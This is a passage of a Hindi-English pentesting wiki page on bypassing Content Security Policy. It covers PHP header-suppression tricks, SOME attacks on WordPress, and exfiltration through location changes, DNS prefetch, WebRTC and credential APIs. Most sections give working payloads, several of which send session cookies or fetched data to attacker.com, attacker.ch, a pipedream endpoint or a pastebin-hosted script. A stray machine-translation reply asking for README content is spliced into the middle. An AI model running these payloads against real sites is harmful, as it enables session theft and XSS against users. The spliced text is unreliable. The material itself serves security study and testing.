In this CTF writeup, यह संभव था कि HTML injection के जरिए CSP को और अधिक restrict किया जाए, जिससे CSTI रोकने वाली स्क्रिप्ट अक्षम हो गई और इसलिए vulnerability became exploitable.\
CSP को और अधिक प्रतिबंधित बनाया जा सकता है HTML meta tags का उपयोग करके, और inline scripts को अक्षम किया जा सकता है removing उस entry को जो उनके nonce की अनुमति देता है और enable specific inline script via sha:

<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

यदि आप सर्वर को यह हेडर Content-Security-Policy-Report-Only इस तरह भेजवाने में कामयाब हो जाते हैं कि इसका मान आपके नियंत्रण में हो (शायद किसी CRLF की वजह से), तो आप इसे अपने सर्वर की ओर पॉइंट करवा सकते हैं और यदि आप उस JS content को जिसे आप exfiltrate करना चाहते हैं, <script> से लपेटते हैं, और चूँकि unsafe-inline आम तौर पर CSP में अनुमति नहीं होता, यह CSP error ट्रिगर करेगा और स्क्रिप्ट का वह हिस्सा (जिसमें संवेदनशील जानकारी होती है) Content-Security-Policy-Report-Only के माध्यम से सर्वर पर भेज दिया जाएगा।

For an example check this CTF writeup.

CVE-2020-6519

document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

• एक iframe बनाया जाता है जो एक URL की ओर इशारा करता है (मान लें https://example.redirect.com) जिसे CSP द्वारा अनुमति दी गई है।
• यह URL फिर एक secret URL (उदा., https://usersecret.example2.com) पर redirect करता है जो CSP द्वारा अनुमति नहीं है।
• securitypolicyviolation event को listen करने पर, आप blockedURI property को capture कर सकते हैं। यह property blocked URI के domain का खुलासा करती है, leaking उस secret domain का जिसका initial URL ने redirect किया था।

ध्यान देने वाली बात है कि Chrome और Firefox जैसे browsers CSP के संदर्भ में iframes को handle करने में अलग व्यवहार दिखाते हैं, जिससे अनिर्दिष्ट व्यवहार के कारण संवेदनशील जानकारी का संभावित leakage हो सकता है।

एक अन्य तकनीक CSP का उपयोग करके secret subdomain का पता लगाने से संबंधित है। यह तरीका एक binary search algorithm पर निर्भर करता है और CSP को समायोजित करके उन specific domains को शामिल करने पर आधारित है जिन्हें जानबूझकर blocked किया जाता है। उदाहरण के लिए, यदि secret subdomain अज्ञात characters से बना है, तो आप विभिन्न subdomains का क्रमिक परीक्षण कर सकते हैं CSP directive को संशोधित करके ताकि ये subdomains block या allow हों। नीचे एक snippet दिखाया गया है जो दिखाता है कि इस विधि को सुविधाजनक बनाने के लिए CSP कैसे सेटअप किया जा सकता है:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP द्वारा किस अनुरोध को blocked या allowed किया जा रहा है इसकी निगरानी करके, कोई गुप्त सबडोमेन में संभावित अक्षरों को संकुचित कर सकता है और अंततः पूरा URL खोज सकता है।

दोनों तरीके ब्राउज़र में CSP के इम्प्लीमेंटेशन और व्यवहार की सूक्ष्मताओं का फायदा उठाते हैं, यह दिखाते हुए कि दिखने में सुरक्षित नीतियाँ कैसे अनजाने में संवेदनशील जानकारी leak कर सकती हैं।

Trick from here.

CSP को बायपास करने के लिए असुरक्षित तकनीकें

PHP Errors when too many params

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). किसी भी परिभाषित header() को PHP वेब कोड में उस त्रुटि के कारण भेजा नहीं जाएगा जो यह ट्रिगर करेगा।

PHP response buffer overload

PHP को डिफ़ॉल्ट रूप से response को 4096 bytes तक buffer करने के लिए जाना जाता है। इसलिए, अगर PHP कोई warning दिखा रहा है, warnings के भीतर पर्याप्त डेटा देकर, response CSP header से पहले भेज दिया जाएगा, जिससे header ignored हो जाएगा.
फिर, तकनीक मूलतः response buffer को warnings से भरने पर आधारित है ताकि CSP header भेजा न जाए।

Idea from this writeup.

max_input_vars के जरिए CSP खत्म करना (headers already sent)

क्योंकि headers को किसी भी आउटपुट से पहले भेजा जाना चाहिए, PHP द्वारा उत्पन्न warnings बाद की header() कॉल्स को अमान्य कर सकते हैं। यदि user input max_input_vars से अधिक हो जाता है, तो PHP सबसे पहले एक startup warning फेंकता है; किसी भी subsequent header('Content-Security-Policy: ...') में “headers already sent” त्रुटि आएगी, जिससे CSP प्रभावी रूप से डिसेबल हो जाएगा और अन्यथा-ब्लॉक की गई reflective XSS की अनुमति मिल जाएगी।

<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

I don't have the README.md content. कृपया उस README.md की Markdown सामग्री यहाँ चिपकाएँ जिसे आप हिंदी में अनुवाद करवाना चाहते हैं — मैं केवल English टेक्स्ट का अनुवाद करूँगा और code, tags, links, paths इत्यादि को अपरिवर्तित रखूँगा।

# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

एरर पेज पुनर्लेखन

इस लेख से ऐसा लगता है कि एक त्रुटि पृष्ठ (संभवतः बिना CSP के) लोड करके और उसकी सामग्री को पुनर्लेखन करके CSP सुरक्षा को बायपास करना संभव था।

a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME एक technique है जो XSS (या highly limited XSS) को एक पेज के endpoint में abuse करके उसी origin के अन्य endpoints को abuse करने के लिए उपयोग करती है। यह तब किया जाता है जब attacker page से vulnerable endpoint को load किया जाता है और फिर attacker page को उसी origin के real endpoint पर refresh किया जाता है जिसे आप abuse करना चाहते हैं। इस तरह vulnerable endpoint अपने payload में मौजूद opener object का उपयोग करके real endpoint के DOM तक access कर सकता है। अधिक जानकारी के लिए देखें:

SOME - Same Origin Method Execution

Moreover, wordpress has a JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data that will reflect the data sent in the output (with the limitation of only letter, numbers and dots).

An attacker can abuse that endpoint to generate a SOME attack against WordPress and embed it inside <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> note that this script will be loaded because it's allowed by 'self'. Moreover, and because WordPress is installed, an attacker might abuse the SOME attack through the vulnerable callback endpoint that bypasses the CSP to give more privileges to a user, install a new plugin...
For more information about how to perform this attack check https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

यदि strict CSP है जो आपको interact with external servers की अनुमति नहीं देता, तो कुछ ऐसी चीज़ें हैं जिनसे आप information को exfiltrate कर सकते हैं।

Location

You could just update the location to send to the attacker's server the secret information:

var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

आप meta tag इंजेक्ट करके redirect कर सकते हैं (यह सिर्फ एक redirect है, यह सामग्री leak नहीं करेगा)

<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

पेजों को तेज़ी से लोड करने के लिए, ब्राउज़र hostnames को पहले से IP addresses में pre-resolve करके बाद के उपयोग के लिए cache कर लेते हैं.
आप ब्राउज़र को किसी hostname को pre-resolve करने के लिए संकेत दे सकते हैं: <link rel="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग करके exfiltrate संवेदनशील जानकारी via DNS requests कर सकते हैं:

var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

एक और तरीका:

const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

ऐसा होने से रोकने के लिए सर्वर HTTP header भेज सकता है:

X-DNS-Prefetch-Control: off

WebRTC

कई पन्नों पर आप पढ़ सकते हैं कि WebRTC CSP की connect-src policy की जाँच नहीं करता है।

वास्तव में आप एक DNS request का उपयोग करके जानकारी leak कर सकते हैं। इस कोड को देखें:

;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

यह credential popup पेज द्वारा प्रतिबंधित किए बिना iconURL पर एक DNS अनुरोध भेजता है। यह केवल सुरक्षित context (HTTPS) या localhost पर काम करता है।

navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSP नीतियों को ऑनलाइन जांचना

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

CSP को स्वचालित रूप से बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
• https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
• The Art of PHP: CTF‑born exploits and techniques

​